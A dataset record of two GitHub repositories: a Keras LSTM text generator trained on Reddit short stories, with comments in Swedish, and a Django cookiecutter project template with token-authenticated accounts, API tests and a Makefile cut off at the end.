repo_name
stringlengths
5
114
repo_url
stringlengths
24
133
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
directory_id
stringlengths
40
40
branch_name
stringclasses
209 values
visit_date
timestamp[ns]
revision_date
timestamp[ns]
committer_date
timestamp[ns]
github_id
int64
9.83k
683M
star_events_count
int64
0
22.6k
fork_events_count
int64
0
4.15k
gha_license_id
stringclasses
17 values
gha_created_at
timestamp[ns]
gha_updated_at
timestamp[ns]
gha_pushed_at
timestamp[ns]
gha_language
stringclasses
115 values
files
listlengths
1
13.2k
num_files
int64
1
13.2k
Kjellberg97/TextGenerator-with-LSTM
https://github.com/Kjellberg97/TextGenerator-with-LSTM
a68a6fc176aed26b244c11bc3e52120aa1411481
52bb723cf90e7cf6a7aaf2cf6c9c2a68970b0ecc
fb07c735c416c9a53de69680648c1c98302624fb
refs/heads/main
2023-05-07T22:36:25.677377
2021-06-06T08:54:52
2021-06-06T08:54:52
374,201,147
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6000000238418579, "alphanum_fraction": 0.6106032729148865, "avg_line_length": 25.329999923706055, "blob_id": "b43adeeebd8c4c337d9e2def38f67ab4a3ca57ce", "content_id": "3dc36006e6c772fc394b9317e3c0c1366ac4952f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2764, "license_type": "no_license", "max_line_length": 116, "num_lines": 100, "path": "/textprocessing_char.py", "repo_name": "Kjellberg97/TextGenerator-with-LSTM", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon May 24 11:04:56 2021\r\n\r\n@author: Viktor Kjellberg\r\n\"\"\"\r\n\"\"\"\r\nDenna kod förbereder data för att kunna användas för att generera text baserat \r\npå tecken\r\n\"\"\"\r\nimport pickle\r\nimport numpy as np\r\n\r\n# Filer för att hämta och spara data\r\ndata_file = \"reddit_short_stories.txt\"\r\ncleaned_file= \"reddit_cleaned.txt\"\r\n\r\n# tar bort innehållet från filen\r\nopen(cleaned_file, \"w\").close()\r\n\r\n#Öppnar filen med datamängden\r\nf = open(data_file)\r\n\r\n# Tecken som ska tas bort från texten\r\nblacklisted_char = set('-^[]_;*%¤$@+-!#&()/')\r\n\r\n# Går igenom novellerna en för en och tar bort onödiga tecken samt onödiga ord\r\n# Slår sedan ihop alla noveller i en fil \r\nfor lines in f:\r\n \r\n text = \"\"\r\n cleaned_text =\"\"\r\n \r\n for i in lines:\r\n if i not in blacklisted_char:\r\n cleaned_text +=i\r\n else:\r\n cleaned_text +=\" \"\r\n \r\n words = cleaned_text.split()\r\n \r\n for w in words:\r\n if w != \"<eos>\" and w != \"<sos>\" and not w.startswith(\"http://\") and not w.startswith(\"http:\") and w != \"\\n\":\r\n text = text +\" \" + w\r\n \r\n \r\n with open(cleaned_file, \"a\") as text_file:\r\n text_file.write(text)\r\n\r\nf.close()\r\n\r\ndata = open(cleaned_file, \"r\")\r\ndata = data.read()\r\n\r\n#--------------------------------------------\r\n# Koden mellan de sträckade linjerna är till stor del hämtad från \r\n# https://keras.io/examples/generative/lstm_character_level_text_generation/\r\n\r\n# Skapar ett dict som innehåller alla tecken och index för dessa\r\ncharacters = sorted(list(set(data)))\r\nchar_indices = dict((c, i) for i, c in enumerate(characters))\r\n\r\nmaxlen_of_sentence = 50\r\nsteps = 6\r\nsentences = []\r\nnext_label = []\r\n\r\n# Hur stor del av datamängden som ska används\r\nlengh=int ((len(data)-maxlen_of_sentence)/2)\r\n\r\n# Går igenom datan och delar upp den i delar av 50 tecken samt det förväntade \r\n# predikterade resultatet. \r\nfor i in range(0, lengh, steps):\r\n sentences.append(data[i:i+maxlen_of_sentence])\r\n next_label.append(data[i+maxlen_of_sentence])\r\n\r\n# Omvandlar varje array i sentences till vektorer av storleken 50x78\r\n# samt next_label till vektorer av storlek 1x78\r\nx = np.zeros((len(sentences), maxlen_of_sentence, len(characters)), dtype=bool)\r\ny = np.zeros((len(sentences), len(characters)),dtype=bool)\r\nfor i, sentence in enumerate(sentences):\r\n for t, char in enumerate(sentence):\r\n x[i, t, char_indices[char]] = 1\r\n y[i, char_indices[next_label[i]]] = 1\r\n\r\n#-------------------------------------------\r\n\r\n\r\n# Sparar data i filer\r\nf=open(\"char_indices.pkl\", \"wb\")\r\npickle.dump(char_indices, f)\r\nf.close()\r\n\r\nf = open(\"xData\", \"wb\")\r\nnp.save(f,x)\r\nf.close()\r\n\r\nf = open(\"yData\", \"wb\")\r\nnp.save(f,y)\r\nf.close()\r\n\r\n" }, { "alpha_fraction": 0.5959561467170715, "alphanum_fraction": 0.6089787483215332, "avg_line_length": 23.105262756347656, "blob_id": "00083b66c17911cafb01269bf77a2bfb77d5dca4", "content_id": "54cdccaf5ae62952b52883525b2e9c22396dbfe3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2934, "license_type": "no_license", "max_line_length": 92, "num_lines": 114, "path": "/textprocessing_word.py", "repo_name": "Kjellberg97/TextGenerator-with-LSTM", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Jun 4 09:36:24 2021\r\n\r\n@author: kjell\r\n\"\"\"\r\nfrom keras.preprocessing.text import Tokenizer\r\nimport pickle\r\nimport numpy as np\r\n\r\n# Data hantering\r\ndata_file = \"reddit_short_stories.txt\"\r\ncleaned_file= \"reddit_cleaned_word.txt\"\r\n\r\n# tar bort innehållet från filen\r\nopen(cleaned_file, \"w\").close()\r\n\r\nf = open(data_file,\"r\")\r\n\r\n# Tecken som ska tas bort från texten\r\nblacklisted_char = '#$%&()*+-/:;<=>@[\\\\]^_`{|}~\\t\\n1234567890'\r\nnew_line=set('!.?')\r\n\r\n# Använder keras Tokenizer för att ta de vanligaste 4000 orden samt ta bort \r\n# onödiga tecken\r\ntokenizer=Tokenizer(num_words=4000, filters=blacklisted_char, lower=True, oov_token=(\"OOV\"))\r\n\r\ntext=[]\r\ntext_all=\"\"\r\n\r\n\r\nfor lines in f:\r\n # Tar bort <sos> och <eos> i varje novell\r\n lines=lines[5:-4]\r\n # Separera .!,? med ordet framför för att kunna vektorisera dessa \r\n # tecken enskillt\r\n lines = lines.replace(\".\", \" .\")\r\n lines = lines.replace(\"!\", \" !\")\r\n lines = lines.replace(\"?\", \" ?\")\r\n lines = lines.replace(\",\", \" ,\")\r\n \r\n # Adderar ihop alla noveller\r\n text_all+=lines\r\n \r\n # Delar upp texten i meningar för att kunna använda keras tokenizer\r\n sentence=\"\"\r\n for i in lines:\r\n \r\n if i not in new_line:\r\n sentence+=i\r\n else:\r\n sentence+=i\r\n text.append(sentence)\r\n sentence=\"\"\r\n \r\ndel f\r\ntokenizer.fit_on_texts(text)\r\nwords = text_all.split()\r\n\r\ndel text_all\r\n#--------------------------------------------\r\n# Koden mellan de sträckade linjerna är till stor del hämtad från \r\n# https://keras.io/examples/generative/lstm_character_level_text_generation/\r\nmaxlen_of_sentence = 10\r\nsteps = 6\r\nsentences = []\r\nnext_word=[]\r\n\r\nlengh=int((len(words)-maxlen_of_sentence-1)/3)\r\n\r\nfor i in range(0, lengh, steps):\r\n sentences.append(words[i:i+maxlen_of_sentence])\r\n next_word.append(words[i+maxlen_of_sentence])\r\n#-------------------------------------------\r\n\r\n#Kodar texten till index i dict. \r\ndata_tokenized=[]\r\nfor i in sentences:\r\n data=tokenizer.texts_to_sequences(i)\r\n data_tokenized.append(data)\r\nnext_tokenized=tokenizer.texts_to_sequences(next_word)\r\n\r\n# Förvanlar next_tokenized till vektorer\r\ndata_next=tokenizer.sequences_to_matrix(next_tokenized)\r\ndata_next =data_next.astype(bool)\r\n\r\n# Sparar data_next\r\nf = open(\"yData_word\", \"wb\")\r\nnp.save(f,data_next)\r\nf.close()\r\n\r\ndel data_next\r\n\r\ndata_ind=[]\r\n\r\n# Förvalar datan till vektorer av typen bool\r\nfor i in data_tokenized:\r\n d = tokenizer.sequences_to_matrix(i)\r\n d = d.astype(bool)\r\n data_ind.append(d)\r\n\r\ndel data_tokenized \r\n \r\ndel next_tokenized\r\ndict_tokenizer = tokenizer.word_index\r\n\r\n# Sparar data i filer\r\nf=open(\"tokenizer_word_index.pkl\", \"wb\")\r\npickle.dump(dict_tokenizer, f)\r\nf.close()\r\n\r\nf = open(\"xData_word\", \"wb\")\r\nnp.save(f,data_ind)\r\nf.close()\r\n\r\n\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n " }, { "alpha_fraction": 0.6141824126243591, "alphanum_fraction": 0.6265453696250916, "avg_line_length": 28.205883026123047, "blob_id": "37dbe27be1d414e4accd7e9d634895ea1fd498ce", "content_id": "b609675be2cfaa9df2115f61e4cfebe8d0989173", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4321, "license_type": "no_license", "max_line_length": 94, "num_lines": 136, "path": "/textgenerator_char.py", "repo_name": "Kjellberg97/TextGenerator-with-LSTM", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu May 27 20:31:49 2021\r\n\r\n@author: Viktor Kjellberg\r\n\"\"\"\r\n\"\"\"\r\nDenna fil genererar text genom att generera en tecken i taget\r\nFör att köra koden måsten man först köra filen textprocessing_char.py\r\nDenna modell är sparad i saved_model så om man vill köra textgenererning utan \r\natt träna modellen så kan man kommentera ut rad 55 till 70. \r\n\"\"\"\r\nfrom tensorflow import keras\r\nfrom tensorflow.keras.models import Sequential\r\nfrom tensorflow.keras.layers import Dense\r\nfrom tensorflow.keras.layers import LSTM\r\nfrom tensorflow.keras.optimizers import RMSprop, Adam\r\nfrom sklearn.model_selection import train_test_split\r\nimport numpy as np\r\nimport random\r\nimport pickle\r\n\r\n\r\nf=open(\"xData\", \"rb\")\r\nx_data=np.load(f)\r\nf.close()\r\n\r\nf=open(\"yData\", \"rb\")\r\ny_data=np.load(f)\r\nf.close()\r\n\r\ndata = open(\"reddit_cleaned.txt\", \"rb\")\r\ntext = data.read()\r\ntext = text.decode()\r\ndata.close()\r\n\r\n# laddar in dict av tecknen\r\nf=open(\"char_indices.pkl\", \"rb\")\r\nchar_indices=pickle.load(f)\r\nf.close()\r\nindices_char = dict(map(reversed, char_indices.items()))\r\n\r\nx_train,x_test,y_train, y_test= train_test_split(x_data,y_data, test_size=0.2, random_state=4)\r\n\r\nsplit = int(len(x_test)/2)\r\nx_val = x_test[:split]\r\ny_val = y_test[:split]\r\nx_test = x_test[split:]\r\ny_test = y_test[split:]\r\n\r\nchar_len= x_data.shape[2]\r\nmaxlen=x_data.shape[1]\r\n\r\n# build the model: a single LSTM\r\nmodel = Sequential()\r\nmodel.add(LSTM(128, input_shape=(maxlen, char_len)))\r\nmodel.add(Dense(char_len, activation='softmax'))\r\n\r\noptimizer = Adam(lr=0.001)\r\nmodel.compile(loss='categorical_crossentropy', optimizer=optimizer)\r\nmodel.summary()\r\n\r\ncallbacks= keras.callbacks.EarlyStopping(monitor=\"val_loss\", patience=3)\r\nmodel.fit(x_train, y_train,\r\n batch_size=16,\r\n epochs=10,\r\n validation_data=(x_val, y_val),\r\n callbacks=callbacks)\r\n\r\nmodel.save(\"./saved_model\")\r\n\r\nmodel=keras.models.load_model(\"./saved_model\")\r\n\r\nacc = model.evaluate(x_test, y_test)\r\nprint(acc)\r\n\r\n# softmax och text_gen är delvis inspirerade av:\r\n#https://keras.io/examples/generative/lstm_character_level_text_generation/\r\n\r\ndef softmax(pred):\r\n \"\"\"\r\n Denna funktion är i princip en soft max funktion som används för att \r\n bestämma vad nästa värdet från modellens prediction är. \r\n \"\"\"\r\n p = np.zeros(len(pred))\r\n pred = pred.astype(\"float64\")\r\n pred = np.exp(np.log(pred) / 1)\r\n pred = pred / np.sum(pred)\r\n probas = np.random.multinomial(1, pred, 1)\r\n \r\n p[np.argmax(probas)]=1\r\n max_element=np.argmax(probas)\r\n\r\n return p,max_element\r\n\r\ndef text_gen(model, x_test,char_len,maxlen):\r\n \r\n print(\"-----------------------------\\nGenerating text....\\n\")\r\n # Tar en slumpmässing datapunkt från test datan.\r\n start = random.randint(0, len(x_test)-1)\r\n \r\n start_text = x_test[start]\r\n s=\"\"\r\n # Omvandlar den från en lista av vektorer till text\r\n for i in start_text:\r\n ind=np.where(i==np.amax(i))\r\n ind=ind[0][0]\r\n char = indices_char[ind]\r\n s=s+char\r\n \r\n start_text=start_text.reshape(1,maxlen,char_len)\r\n\r\n generated_text=\"\"\r\n \"\"\"\r\n Denna for loop använder modellen för att predicera nästa tecken baserat på \r\n start datan. Detta tecken läggs sedan in i slutet av listan samtidigt som \r\n det första tecknet tas bort. Denna nya lista används sedan för att \r\n predicera näst tecken osv. \r\n \"\"\" \r\n for i in range(300):\r\n start_text=start_text.reshape(1,maxlen,char_len)\r\n pred= model.predict(start_text, verbose=0)[0]\r\n pred, index =softmax(pred)\r\n start_text=start_text.reshape(maxlen,char_len)\r\n start_text= start_text[1:]\r\n start_text = np.append(start_text, pred)\r\n generated_text += indices_char[index]\r\n \r\n print(\"Inside (...) is used to start the generation of text.\")\r\n print(\"Generated text: (\", s, \")\", generated_text)\r\n \r\n\r\n#Genererar txt baserat på slumpmässig data punt ifrån x_test\r\ntext_gen(model, x_test,char_len,maxlen)\r\ntext_gen(model, x_test,char_len,maxlen)\r\ntext_gen(model, x_test,char_len,maxlen)\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n\r\n\r\n\r\n\r\n" } ]
3
fhightower-templates/django-cookiecutter-template
https://github.com/fhightower-templates/django-cookiecutter-template
559c0214e1acf83971a6372241ae62161bcde85a
3fb3d56ea62f6dfaedd67717fc5c52aad90fc409
88134fa3eaabe707f5291d21813452081adbc125
refs/heads/master
2021-05-06T02:13:10.827853
2019-04-09T09:42:26
2019-04-09T09:42:26
114,505,454
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7551867365837097, "alphanum_fraction": 0.7551867365837097, "avg_line_length": 25.77777862548828, "blob_id": "661bb34c571a0af8bb3cf218801af4185d1e971c", "content_id": "90a8dade018e9b1c2c4f97b5908ef5cf796d8194", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 241, "license_type": "no_license", "max_line_length": 62, "num_lines": 9, "path": "/{{cookiecutter.project_slug}}/{{cookiecutter.project_slug}}/views.py", "repo_name": "fhightower-templates/django-cookiecutter-template", "src_encoding": "UTF-8", "text": "from django.views import generic\n\n\nclass IndexView(generic.TemplateView):\n template_name = '{{cookiecutter.project_slug}}/index.html'\n\n\nclass AboutView(generic.TemplateView):\n template_name = '{{cookiecutter.project_slug}}/about.html'\n" }, { "alpha_fraction": 0.6908517479896545, "alphanum_fraction": 0.6929547786712646, "avg_line_length": 26.171428680419922, "blob_id": "fe863217364c9ad1c700851a2e4ee605c9c41f69", "content_id": "44f176894148ef6108c7bb053681ee7322064eb5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 951, "license_type": "no_license", "max_line_length": 76, "num_lines": 35, "path": "/{{cookiecutter.project_slug}}/accounts/models.py", "repo_name": "fhightower-templates/django-cookiecutter-template", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nfrom django.conf import settings\nfrom django.contrib.auth.models import AbstractUser, Group\nfrom django.db.models.signals import post_save\nfrom django.dispatch import receiver\nfrom rest_framework.authtoken.models import Token\n\n\ndef create_token(user):\n Token.objects.create(user=user)\n\n\n@receiver(post_save, sender=settings.AUTH_USER_MODEL)\ndef create_auth_token(sender, instance=None, created=False, **kwargs):\n \"\"\"Add a token to each user account after account is created.\"\"\"\n if created:\n create_token(instance)\n\n\nclass User(AbstractUser):\n\n def add_group(self, group_name):\n \"\"\"Add the user to a group.\"\"\"\n group, created = UserGroup.objects.update_or_create(name=group_name)\n self.groups.add(group)\n\n\nclass UserGroup(Group):\n\n def __init__(self, name):\n super(Group, self).__init__()\n # overwrite the name attribute\n self.name = name\n" }, { "alpha_fraction": 0.5877061486244202, "alphanum_fraction": 0.5967016220092773, "avg_line_length": 24.653846740722656, "blob_id": "d779f128c165cc2c89616e0abc1cb861e3a430db", "content_id": "50decf854d639fb540dc615814e3c61b9189436b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 667, "license_type": "no_license", "max_line_length": 57, "num_lines": 26, "path": "/{{cookiecutter.project_slug}}/accounts/test_users.py", "repo_name": "fhightower-templates/django-cookiecutter-template", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nfrom django.test import TestCase\nfrom rest_framework.authtoken.models import Token\n\nfrom .models import User\n\n\nclass UserTests(TestCase):\n\n def test_user_creation(self):\n \"\"\"Create a new user.\"\"\"\n user = User()\n user.save()\n token = Token.objects.get(user=user)\n assert token is not None\n assert len(token.key) == 40\n\n def test_user_group(self):\n \"\"\"Make sure user groups are created properly.\"\"\"\n user = User()\n user.save()\n user.add_group('free')\n assert len(user.groups.all()) == 1\n assert user.groups.all()[0].name == 'free'\n" }, { "alpha_fraction": 0.7808219194412231, "alphanum_fraction": 0.7808219194412231, "avg_line_length": 40.71428680419922, "blob_id": "542940bf0ec35bced23eac8a3cd8c000e0560663", "content_id": "c509b5bbf80e7f26faf8cce1ac128cafb1a80366", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 292, "license_type": "no_license", "max_line_length": 204, "num_lines": 7, "path": "/{{cookiecutter.project_slug}}/README.md", "repo_name": "fhightower-templates/django-cookiecutter-template", "src_encoding": "UTF-8", "text": "# {{ cookiecutter.project_name }}\n\n{{ cookiecutter.project_description }}\n\n## Credits\n\nThis package was created with [Cookiecutter](https://github.com/audreyr/cookiecutter) and Floyd Hightower's [Django project template](https://gitlab.com/fhightower-templates/django-cookiecutter-template).\n" }, { "alpha_fraction": 0.6450777053833008, "alphanum_fraction": 0.6580311059951782, "avg_line_length": 26.571428298950195, "blob_id": "a9d4e5654bab61bafa874280d1676df97e6ba3b4", "content_id": "9428a48ad5874658acb6cd84b1bf73b2474ec40c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 772, "license_type": "no_license", "max_line_length": 73, "num_lines": 28, "path": "/{{cookiecutter.project_slug}}/api/test_api.py", "repo_name": "fhightower-templates/django-cookiecutter-template", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom rest_framework.test import APITestCase\n\nfrom .api_test_utility import get_user_token\n\n\nclass UserAPITests(APITestCase):\n\n def setUp(self):\n self.token = get_user_token()\n self.client.credentials(HTTP_AUTHORIZATION='Token ' + self.token)\n\n def test_users_list(self):\n \"\"\".\"\"\"\n response = self.client.get('/api/v1/users/')\n print(response.data)\n assert response.status_code == 200\n assert len(response.data) == 1\n\n\nclass UnauthenticatedRequests(APITestCase):\n \"\"\"Make sure unauthenticated requests are handled properly.\"\"\"\n\n def test_unauthenticated_request(self):\n response = self.client.get('/api/v1/users/')\n assert response.status_code == 401\n" }, { "alpha_fraction": 0.6598984599113464, "alphanum_fraction": 0.6608214378356934, "avg_line_length": 29.957143783569336, "blob_id": "474dd4f41c8246ba7a44c8a680a2db120ac24bcb", "content_id": "2caff12b5d6eaddb271af52e4af1c0f8de4b12bc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2167, "license_type": "no_license", "max_line_length": 71, "num_lines": 70, "path": "/{{cookiecutter.project_slug}}/accounts/views.py", "repo_name": "fhightower-templates/django-cookiecutter-template", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nfrom django.contrib.auth import authenticate, login\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.contrib import messages\nfrom django.http import HttpResponseRedirect\nfrom django.shortcuts import render, redirect\nfrom django.urls import reverse\nfrom django.views import generic\nfrom rest_framework.authtoken.models import Token\n\nfrom .forms import RegistrationForm\nfrom .models import create_token\n\n\nclass RegistrationView(generic.View):\n form_class = RegistrationForm\n template_name = \"registration/registration.html\"\n\n def get(self, request):\n form = self.form_class(None)\n return render(request, self.template_name, {'form': form})\n\n def post(self, request):\n form = self.form_class(request.POST)\n\n if form.is_valid():\n user = form.save(commit=False)\n\n # cleaned (normalized) data\n username = form.cleaned_data['username']\n password = form.cleaned_data['password1']\n user.set_password(password)\n user.save()\n user.add_group('free')\n\n user = authenticate(username=username, password=password)\n\n if user is not None:\n if user.is_active:\n login(request, user)\n return redirect('/')\n\n return render(request, self.template_name, {'form': form})\n\n\nclass ProfileView(LoginRequiredMixin, generic.View):\n template_name = \"registration/profile.html\"\n\n def get(self, request):\n token = Token.objects.get(user=request.user)\n return render(request, self.template_name, {'token': token})\n\n\nclass NewTokenView(LoginRequiredMixin, generic.View):\n template_name = \"registration/profile.html\"\n\n def get(self, request):\n # delete the current token for the user\n token = Token.objects.get(user=request.user)\n token.delete()\n\n # create a new token for the user\n create_token(request.user)\n\n messages.info(request, 'New API token created!')\n\n # redirect to profile page\n return HttpResponseRedirect(reverse('accounts:profile'))\n" }, { "alpha_fraction": 0.6992126107215881, "alphanum_fraction": 0.7149606347084045, "avg_line_length": 23.423076629638672, "blob_id": "aabd110c463d3c5b6004913cf2232c76106a1b92", "content_id": "432beb2b684ac9effcc570ecad63553596be6702", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 635, "license_type": "no_license", "max_line_length": 76, "num_lines": 26, "path": "/{{cookiecutter.project_slug}}/api/README.md", "repo_name": "fhightower-templates/django-cookiecutter-template", "src_encoding": "UTF-8", "text": "# {{ cookiecutter.project_name }} API\n\n## Adding New Endpoints\n\nTo add a new API endpoint:\n\n0. Write tests for it.\n1. Create a serializer for the model if one does not exist.\n2. Add a url path for the endpoint.\n3. Write a view class (or function) for the endpoint.\n4. Retest everything and get it working properly.\n\n## Making a Request\n\n### Authorization\n\n```\nimport requests\nbase_url = 'http://localhost:8000'\n\n# the token below is created from a registered user's profile (/accounts/me)\nheaders = {'Authorization': 'Token 1234567890987654321'}\nr = requests.get(base_url + '/api/v1/<API-ENDPOINT>', headers=headers)\nprint(r)\nprint(r.text)\n```\n" }, { "alpha_fraction": 0.625, "alphanum_fraction": 0.6402778029441833, "avg_line_length": 30.30434799194336, "blob_id": "18920a76fda23034d4eff39324fa487cc770e596", "content_id": "e6c1f9189a5b5f8d793fad73297df193b0b220d2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 720, "license_type": "no_license", "max_line_length": 82, "num_lines": 23, "path": "/{{cookiecutter.project_slug}}/accounts/test_views.py", "repo_name": "fhightower-templates/django-cookiecutter-template", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom django.test import TestCase\n\n\nclass ViewTests(TestCase):\n \"\"\"View related tests.\"\"\"\n\n def test_login_view(self):\n response = self.client.get('/accounts/login/')\n assert response.status_code == 200\n assert \"{{cookiecutter.project_name}}\" in response.content.decode(\"utf-8\")\n\n def test_login_view_redirect(self):\n response = self.client.get('/accounts/login')\n assert response.status_code == 301\n self.assertEqual(response.url, \"/accounts/login/\")\n\n def test_logout(self):\n response = self.client.get('/accounts/logout/')\n assert response.status_code == 302\n self.assertEqual(response.url, \"/\")\n" }, { "alpha_fraction": 0.7080292105674744, "alphanum_fraction": 0.7262773513793945, "avg_line_length": 23.909090042114258, "blob_id": "5e09f3e110f2f8ea47ffa1ad337d5f71da635a8f", "content_id": "c278d3622f7d111e3b848ff421b16f7a37d48da8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 274, "license_type": "no_license", "max_line_length": 79, "num_lines": 11, "path": "/README.md", "repo_name": "fhightower-templates/django-cookiecutter-template", "src_encoding": "UTF-8", "text": "# Django Cookiecutter Template\n\nTemplate for quickly creating Django apps.\n\n## Usage\n\n1. `cookiecutter [email protected]:fhightower-templates/django-cookiecutter-template.git`\n2. `cd <NEW-PROJECT-NAME>`\n3. `make mmgs` -> this command may fail... it's ok.\n4. `make setup`\n5. `make up`\n" }, { "alpha_fraction": 0.7916666865348816, "alphanum_fraction": 0.7916666865348816, "avg_line_length": 35.5, "blob_id": "198d8eb663aae912d6f58220919ecd878751cae6", "content_id": "d22e049ed70daf0b3e16283be3090999127fad7d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "INI", "length_bytes": 72, "license_type": "no_license", "max_line_length": 63, "num_lines": 2, "path": "/{{cookiecutter.project_slug}}/pytest.ini", "repo_name": "fhightower-templates/django-cookiecutter-template", "src_encoding": "UTF-8", "text": "[pytest]\nDJANGO_SETTINGS_MODULE = {{cookiecutter.project_slug}}.settings" }, { "alpha_fraction": 0.6310160160064697, "alphanum_fraction": 0.6417112350463867, "avg_line_length": 16, "blob_id": "b118fc8a436a83477f30239c90e01667feaab539", "content_id": "20e54b2dfa66114486368d1a97d5f251716bae92", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 187, "license_type": "no_license", "max_line_length": 46, "num_lines": 11, "path": "/{{cookiecutter.project_slug}}/api/urls.py", "repo_name": "fhightower-templates/django-cookiecutter-template", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nfrom django.conf.urls import url\n\nfrom api import views\n\napp_name = 'api'\nurlpatterns = [\n url(r'^users/$', views.UserView.as_view())\n]\n" }, { "alpha_fraction": 0.625, "alphanum_fraction": 0.7666666507720947, "avg_line_length": 16.285715103149414, "blob_id": "12b2e6ef8c485649f693a3affb148a2b493ed5e0", "content_id": "f117840350c288c6110ca008e4718af8abc34375", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 120, "license_type": "no_license", "max_line_length": 22, "num_lines": 7, "path": "/{{cookiecutter.project_slug}}/requirements.txt", "repo_name": "fhightower-templates/django-cookiecutter-template", "src_encoding": "UTF-8", "text": "dj-database-url==0.4.1\nDjango==1.11.1\ndjangorestframework\ngunicorn==19.6.0\npsycopg2==2.7.1\npytest-django\nwhitenoise==3.2" }, { "alpha_fraction": 0.7071651220321655, "alphanum_fraction": 0.7171339392662048, "avg_line_length": 68.78260803222656, "blob_id": "b75e202c0c6c0185fa2472de02b5934d3e660e65", "content_id": "896a556de8deee2118291ca9cfc8bbd500feb8a2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1605, "license_type": "no_license", "max_line_length": 234, "num_lines": 23, "path": "/{{cookiecutter.project_slug}}/accounts/urls.py", "repo_name": "fhightower-templates/django-cookiecutter-template", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nfrom django.conf.urls import url\nfrom django.contrib.auth import views as auth_views\nfrom django.urls import reverse_lazy\n\nfrom . import views\n\napp_name = 'accounts'\nurlpatterns = [\n url(r'^login/$', auth_views.LoginView.as_view(template_name='registration/login.html'), name='login'),\n url(r'^logout/$', auth_views.LogoutView.as_view(next_page='/'), name='logout'),\n url(r'^register/$', views.RegistrationView.as_view(), name='register'),\n url(r'^password_change/', auth_views.PasswordChangeView.as_view(success_url=reverse_lazy('accounts:password_change_done')), name='password_change'),\n url(r'^password_change_done/', auth_views.PasswordChangeDoneView.as_view(template_name='registration/password_change_done.html'), name='password_change_done'),\n url(r'^password_reset/', auth_views.PasswordResetView.as_view(success_url=reverse_lazy('accounts:password_reset_done')), name='password_reset'),\n url(r'^password_reset/done/', auth_views.PasswordResetDoneView.as_view(), name='password_reset_done'),\n url(r'^reset/(?P<uidb64>[0-9A-Za-z_\\-]+)/(?P<token>[0-9A-Za-z]{1,13}-[0-9A-Za-z]{1,20})/$', auth_views.PasswordResetConfirmView.as_view(success_url=reverse_lazy('accounts:password_reset_complete')), name='password_reset_confirm'),\n url(r'^reset/done', auth_views.PasswordResetCompleteView.as_view(template_name='registration/password_change_done.html'), name='password_reset_complete'),\n url(r'^me/$', views.ProfileView.as_view(), name='profile'),\n url(r'^me/new-token', views.NewTokenView.as_view(), name='new_token'),\n]\n" }, { "alpha_fraction": 0.7301136255264282, "alphanum_fraction": 0.7357954382896423, "avg_line_length": 22.46666717529297, "blob_id": "f249c18a14d7d751a34af3cbc05edb57e2e8f957", "content_id": "d5d41357e6e56e8aff2b1015951da42051e96f3e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 352, "license_type": "no_license", "max_line_length": 120, "num_lines": 15, "path": "/{{cookiecutter.project_slug}}/accounts/throttles.py", "repo_name": "fhightower-templates/django-cookiecutter-template", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nfrom rest_framework.throttling import UserRateThrottle\n\n\n# these throttles are not used... yet (see https://www.django-rest-framework.org/api-guide/throttling/ for more details)\n\n\nclass FreeUserThrottle(UserRateThrottle):\n scope = 'free'\n\n\nclass PaidUserThrottle(UserRateThrottle):\n scope = 'paid'\n" }, { "alpha_fraction": 0.6792675852775574, "alphanum_fraction": 0.6845836043357849, "avg_line_length": 25.046154022216797, "blob_id": "e17e693f20bff7f940dff1a81283704ff06d13cc", "content_id": "15daab002e43dde79c90009b5754d645b0727263", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 1693, "license_type": "no_license", "max_line_length": 96, "num_lines": 65, "path": "/{{cookiecutter.project_slug}}/Makefile", "repo_name": "fhightower-templates/django-cookiecutter-template", "src_encoding": "UTF-8", "text": ".PHONY: test clean clean-pyc 